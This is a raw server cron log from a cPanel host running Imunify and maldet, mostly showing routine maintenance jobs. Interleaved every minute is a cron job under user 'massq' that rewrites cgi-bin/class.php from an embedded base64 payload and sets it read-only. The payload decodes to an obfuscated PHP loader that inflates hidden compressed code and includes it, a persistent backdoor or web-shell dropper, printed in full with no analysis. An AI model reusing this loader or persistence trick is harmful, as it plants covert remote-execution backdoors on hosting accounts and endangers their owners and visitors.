Aug 31 17:50:02 server CROND[17991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:50:02 server CROND[17995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:50:02 server CROND[17996]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:50:02 server CROND[17997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:50:02 server CROND[17998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:51:01 server CROND[18816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:51:01 server CROND[18817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:51:01 server CROND[18818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:52:01 server CROND[19197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:52:01 server CROND[19199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:52:01 server CROND[19198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:53:01 server CROND[19586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:53:01 server CROND[19587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:53:01 server CROND[19588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:54:01 server CROND[19958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:54:01 server CROND[19959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:54:01 server CROND[19960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:55:01 server CROND[20445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:55:01 server CROND[20443]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 17:55:01 server CROND[20447]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:55:01 server CROND[20444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:55:01 server CROND[20442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:55:01 server CROND[20446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:55:01 server CROND[20449]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 17:56:01 server CROND[21288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:56:01 server CROND[21289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:56:01 server CROND[21290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:57:01 server CROND[21667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:57:01 server CROND[21669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:57:01 server CROND[21668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 17:57:01 server CROND[21671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:58:01 server CROND[22049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:58:01 server CROND[22050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:58:01 server CROND[22051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:59:01 server CROND[22480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:59:01 server CROND[22481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 17:59:01 server CROND[22482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:00:01 server CROND[23125]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:00:01 server CROND[23126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:00:01 server CROND[23129]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 18:00:01 server CROND[23130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:00:01 server CROND[23131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:00:01 server CROND[23136]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 18:00:01 server CROND[23135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:00:01 server CROND[23133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:00:01 server CROND[23134]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:00:01 server CROND[23138]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:01:01 server CROND[23998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:01:01 server CROND[24000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:01:01 server CROND[24001]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 18:01:01 server CROND[24002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 